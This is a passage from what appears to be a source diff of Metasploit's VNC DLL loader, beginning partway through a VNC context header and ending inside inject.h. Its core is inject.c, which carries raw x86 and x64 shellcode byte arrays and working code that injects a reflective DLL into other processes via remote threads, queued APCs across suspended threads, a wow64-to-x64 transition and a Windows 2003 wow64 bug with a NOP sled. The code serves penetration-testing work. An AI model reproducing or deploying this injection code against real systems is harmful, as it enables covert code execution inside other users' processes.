BYTE bpp;
BYTE depth;
BYTE bigendian;
BYTE truecolour;
WORD redmax;
WORD greenmax;
WORD bluemax;
BYTE redshift;
BYTE greenshift;
BYTE blueshift;
BYTE pad1;
WORD pad2;
} PIXELFORMAT;
/*typedef struct _DICTMSG
{
DWORD dwId;
DWORD dwDictLength;
BYTE bDictBuffer[1];
} DICTMSG;*/
/*
* The context used for the agent to keep the vnc stream back to the client consistent during session switching.
*/
typedef struct _AGENT_CTX
{
// The WSAPROTOCOL_INFO structure for the socket back to the client.
WSAPROTOCOL_INFO info;
// Flag to disable the creation of a courtesy shell on the input desktop.
BOOL bDisableCourtesyShell;
// The event to terminate the vnc agent.
HANDLE hCloseEvent;
// A flag to force only the first agent instance to perform the RFB initilization.
BOOL bInit;
// The encoding used by the last agent, we can then force the next agent to keep using
// the last known encoding in order to keep the remote client's RFB stream consistent.
DWORD dwEncoding;
// A hex value used for the loaders pipe server
DWORD dwPipeName;
// The rfb streams current pixel format.
PIXELFORMAT PixelFormat;
// Various settings for the rfb stream.
DWORD dwCompressLevel;
DWORD dwQualityLevel;
BOOL bUseCopyRect;
BOOL bEncodingRichCursor;
BOOL bEncodingPointerPos;
BOOL bEncodingLastRect;
BOOL bEncodingNewfbSize;
BOOL bEncodingXCursor;
//DICTMSG * dictionaries[4];
} AGENT_CTX, * LPAGENT_CTX;
#define MESSAGE_SETENCODING 0x28471649
#define MESSAGE_SETPIXELFORMAT 0x92785926
#define MESSAGE_SETCOMPRESSLEVEL 0x82658926
#define MESSAGE_SETQUALITYLEVEL 0x31857295
#define MESSAGE_SETCOPYRECTUSE 0x91748275
#define MESSAGE_SETENCODINGRICHCURSOR 0x39185037
#define MESSAGE_SETENCODINGPOINTERPOS 0x47295620
#define MESSAGE_SETENCODINGLASTRECT 0x11984659
#define MESSAGE_SETENCODINGNEWFBSIZE 0x94856345
#define MESSAGE_SETENCODINGXCURSOR 0x81659265
#define MESSAGE_SETZLIBDICTIONARY 0x91601668
//===============================================================================================//
VOID context_init( VOID );
DWORD WINAPI context_message_thread( LPVOID lpParameter );
//===============================================================================================//
#endif
//===============================================================================================//

532
external/source/vncdll/loader/inject.c vendored Normal file
View File

@ -0,0 +1,532 @@
#include "loader.h"
#include "ps.h"
#include "inject.h"
#include "LoadLibraryR.h"
#include <Tlhelp32.h>
// Simple trick to get the current meterpreters arch
#ifdef _WIN64
DWORD dwMeterpreterArch = PROCESS_ARCH_X64;
#else
DWORD dwMeterpreterArch = PROCESS_ARCH_X86;
#endif
// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";
// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm'
BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
"\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
"\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"
"\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40"
"\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0"
"\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40"
"\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0"
"\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58"
"\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A"
"\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D"
"\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01"
"\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8"
"\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00"
"\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00"
"\x48\x83\xC4\x50\x48\x89\xFC\xC3";
// see '/msf3/external/source/shellcode/x86/migrate/apc.asm'
BYTE apc_stub_x86[] = "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5"
"\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F"
"\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF"
"\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B"
"\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01"
"\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF"
"\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58"
"\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04"
"\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58"
"\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10"
"\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B"
"\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00"
"\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51"
"\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00";
// see '/msf3/external/source/shellcode/x64/migrate/apc.asm'
BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48"
"\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48"
"\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48"
"\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C"
"\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41"
"\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B"
"\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01"
"\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF"
"\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41"
"\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45"
"\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C"
"\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41"
"\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20"
"\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF"
"\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00"
"\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00"
"\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41"
"\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00";
#define MAXT 128
/*
* Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread
* Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe
*/
DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HMODULE hNtdll = NULL;
NTQUEUEAPCTHREAD pNtQueueApcThread = NULL;
HANDLE hThreadSnap = NULL;
LPVOID lpApcStub = NULL;
LPVOID lpRemoteApcStub = NULL;
LPVOID lpRemoteApcContext = NULL;
HANDLE hThreadList[MAXT] = {0};
THREADENTRY32 t = {0};
APCCONTEXT ctx = {0};
DWORD dwApcStubLength = 0;
DWORD dwListIndex = 0;
do
{
ctx.s.lpStartAddress = lpStartAddress;
ctx.p.lpParameter = lpParameter;
ctx.bExecuted = FALSE;
t.dwSize = sizeof( THREADENTRY32 );
// Get the architecture specific apc migration stub...
if( dwDestinationArch == PROCESS_ARCH_X86 )
{
if( dwMeterpreterArch == PROCESS_ARCH_X64 )
{
// injecting x64->x86(wow64)
// Our injected APC ends up running in native x64 mode within the wow64 process and as such
// will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub.
// This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though.
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." )
}
else
{
// injecting x86->x86
lpApcStub = &apc_stub_x86;
dwApcStubLength = sizeof( apc_stub_x86 );
}
}
else if( dwDestinationArch == PROCESS_ARCH_X64 )
{
// injecting x64->x64 (and the same stub for x86(wow64)->x64)
lpApcStub = &apc_stub_x64;
dwApcStubLength = sizeof( apc_stub_x64 );
if( dwMeterpreterArch == PROCESS_ARCH_X86 )
{
// injecting x86(wow64)->x64
// For now we leverage a bug in wow64 to get x86->x64 injection working, this
// will simply fail gracefully on systems where the technique does not work.
MEMORY_BASIC_INFORMATION mbi = {0};
LPVOID lpRemoteAddress = NULL;
BYTE * lpNopSled = NULL;
BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0";
/*
// On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes.
// The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful,
// however the start address of the new APC in the native x64 process is not what we specify but instead it is
// the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc
// this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there
// injection will continue as normal.
// The registers on the native x64 process after the queued APC is attempted to run:
rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process
rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param)
rdx = dwApcStatusBlock // unused
r8 = dwApcReserved // unused
// On the WOW64 process side:
wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine
wow64:000000006B0095F0
wow64:000000006B0095F0 public Wow64ApcRoutine
// On the native x64 process side:
ntdll:0000000077EF30A0 public KiUserApcDispatcher
ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value
ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock
ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved
ntdll:0000000077EF30AE mov r9, rsp
ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine!
// Our bStub:
00000000 4889C8 mov rax, rcx
00000003 48C1E120 shl rcx, 32
00000007 48C1E920 shr rcx, 32
0000000B 48C1E820 shr rax, 32
0000000F FFE0 jmp rax
*/
// alloc the address of the wow64!Wow64ApcRoutine export in the remote process...
// TO-DO: parse the PE64 executable wow64.dll to get this at runtime.
lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteAddress )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" );
if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" );
lpNopSled = (BYTE *)malloc( mbi.RegionSize );
if( !lpNopSled )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" );
memset( lpNopSled, 0x90, mbi.RegionSize );
if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" )
if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" )
free( lpNopSled );
}
}
else
{
SetLastError( ERROR_BAD_ENVIRONMENT );
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" )
}
hNtdll = LoadLibraryA( "ntdll" );
if( !hNtdll )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" )
pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" );
if( !pNtQueueApcThread )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" )
hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
if( !hThreadSnap )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" )
if( !Thread32First( hThreadSnap, &t ) )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" )
// Allocate memory for the apc stub and context
lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteApcStub )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" )
// Simply determine the apc context address
lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength );
dprintf( "[INJECT] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwMeterpreterArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext );
// Write the apc stub to memory...
if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" )
// Write the apc context to memory...
if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" )
do
{
HANDLE hThread = NULL;
// Only proceed if we are targeting a thread in the target process
if( t.th32OwnerProcessID != dwProcessID )
continue;
// Open a handle to this thread so we can do the apc injection
hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID );
if( !hThread )
continue;
dprintf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID );
// Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt
// an ssl connection back but the client side will not be ready to accept it and we loose the session.
if( SuspendThread( hThread ) != (DWORD)-1 )
{
hThreadList[ dwListIndex ] = hThread;
dwListIndex += 1;
// Queue up our apc stub to run in the target thread, when our apc stub is run (when the target
// thread is placed in an alertable state) it will spawn a new thread with our actual migration payload.
// Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS.
if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS )
{
dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID );
dwResult = ERROR_SUCCESS;
}
else
{
dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID );
}
}
else
{
CloseHandle( hThread );
}
// keep searching for more target threads to inject our apc stub into...
} while( Thread32Next( hThreadSnap, &t ) && dwListIndex < MAXT-1 );
} while( 0 );
if( dwListIndex )
{
HANDLE hThread = NULL;
// Resume all the threads which we queued our apc into
while( dwListIndex > 0 )
{
dwListIndex -= 1;
hThread = hThreadList[ dwListIndex ];
if( !hThread )
break;
ResumeThread( hThread );
CloseHandle( hThread );
}
}
if( hThreadSnap )
CloseHandle( hThreadSnap );
if( hNtdll )
FreeLibrary( hNtdll );
SetLastError( dwResult );
return dwResult;
}
/*
* Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86)
* enviroment into a native x64 enviroment and accessing the native win64 API's.
* Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new
* threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out
* Windows 2003 from this method of injection, however the APC injection method will work on 2003.
*/
DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread )
{
DWORD dwResult = ERROR_SUCCESS;
EXECUTEX64 pExecuteX64 = NULL;
X64FUNCTION pX64function = NULL;
WOW64CONTEXT * ctx = NULL;
OSVERSIONINFO os = {0};
do
{
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" )
// filter out Windows 2003
if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
{
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." )
}
// alloc a RWX buffer in this process for the EXECUTEX64 function
pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !pExecuteX64 )
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" )
// alloc a RWX buffer in this process for the X64FUNCTION function (and its context)
pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !pX64function )
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" )
// copy over the wow64->x64 stub
memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) );
// copy over the native x64 function
memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) );
// set the context
ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) );
ctx->h.hProcess = hProcess;
ctx->s.lpStartAddress = lpStartAddress;
ctx->p.lpParameter = lpParameter;
ctx->t.hThread = NULL;
dprintf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx );
// Transition this wow64 process into native x64 and call pX64function( ctx )
// The native function will use the native Win64 API's to create a remote thread in the target process.
if( !pExecuteX64( pX64function, (DWORD)ctx ) )
{
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" )
}
if( !ctx->t.hThread )
{
SetLastError( ERROR_INVALID_HANDLE );
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" )
}
// Success! grab the new thread handle from of the context
*pThread = ctx->t.hThread;
dprintf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread );
} while( 0 );
if( pExecuteX64 )
VirtualFree( pExecuteX64, 0, MEM_DECOMMIT );
if( pX64function )
VirtualFree( pX64function, 0, MEM_DECOMMIT );
return dwResult;
}
/*
* Attempte to gain code execution in the remote process by creating a remote thread in the target process.
*/
DWORD inject_via_remotethread( HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hThread = NULL;
DWORD dwThreadId = 0;
do
{
// Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread
// fails, giving us a chance to try an alternative method or fail migration gracefully.
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, CREATE_SUSPENDED, &dwThreadId );
if( !hThread )
{
if( dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64 )
{
// injecting x86(wow64)->x64, (we expect the call to kernel32!CreateRemoteThread to fail and bring us here).
if( inject_via_remotethread_wow64( hProcess, lpStartAddress, lpParameter, &hThread ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed" )
}
else
{
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: CreateRemoteThread failed" )
}
}
dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..." );
// Resume the injected thread...
if( ResumeThread( hThread ) == (DWORD)-1 )
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: ResumeThread failed" )
} while( 0 );
if( hThread )
CloseHandle( hThread );
SetLastError( dwResult );
return dwResult;
}
extern DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine );
extern DWORD loader_inject_post( DWORD dwPid, HANDLE hProcess, DWORD dwInjectResult );
/*
* Inject a DLL image into a process via Reflective DLL Injection.
*
* Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for
* an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll()
* in stdapi will handle this automatically.
*
* Note: GetReflectiveLoaderOffset() has a limitation of currenlty not being able to work for PE32 DLL's
* in a native x64 meterpereter due to compile time assumptions, however GetReflectiveLoaderOffset()
* will check for this and fail gracefully.
*
* Note: This function largely depreciates LoadRemoteLibraryR().
*/
DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
LPVOID lpRemoteCommandLine = NULL;
HANDLE hProcess = NULL;
LPVOID lpRemoteLibraryBuffer = NULL;
LPVOID lpReflectiveLoader = NULL;
DWORD dwReflectiveLoaderOffset = 0;
char cCommandLine[COMMANDLINE_LENGTH] = {0};
do
{
if( !lpDllBuffer || !dwDllLenght )
BREAK_WITH_ERROR( "[INJECT] inject_dll. No Dll buffer supplied.", ERROR_INVALID_PARAMETER );
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer );
if( !dwReflectiveLoaderOffset )
BREAK_WITH_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION );
hProcess = OpenProcess( SYNCHRONIZE | PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid );
if( !hProcess )
BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." );
dwResult = loader_inject_pre( dwPid, hProcess, (char *)&cCommandLine );
if( dwResult != ERROR_SUCCESS )
BREAK_ON_ERROR( "[INJECT] inject_dll. loader_inject_pre failed." );
if( strlen(cCommandLine) )
{
// alloc some space and write the commandline which we will pass to the injected dll...
lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
if( !lpRemoteCommandLine )
BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" );
if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, &cCommandLine, strlen(cCommandLine)+1, NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" );
}
// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" );
// write the image into the host process...
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" );
// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset );
// First we try to inject by directly creating a remote thread in the target process
if( inject_via_remotethread( hProcess, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
{
dprintf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." );
// If that fails we can try to migrate via a queued APC in the target process
if( inject_via_apcthread( hProcess, dwPid, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" )
}
dwResult = ERROR_SUCCESS;
} while( 0 );
return loader_inject_post( dwPid, hProcess, dwResult );
}

102
external/source/vncdll/loader/inject.h vendored Normal file
View File

@ -0,0 +1,102 @@
// Copyright (C) 2006-2010, Rapid7 LLC
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Rapid7 LLC nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _VNCDLL_LOADER_INJECT_H
#define _VNCDLL_LOADER_INJECT_H
//===============================================================================================//
#define COMMANDLINE_LENGTH 1024
//===============================================================================================//
// Definition of ntdll!NtQueueApcThread
typedef DWORD (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved );
// Definitions used for running native x64 code from a wow64 process (see executex64.asm)
typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );
typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );
//===============================================================================================//
// The context used for injection via migrate_via_apcthread
typedef struct _APCCONTEXT
{
union
{
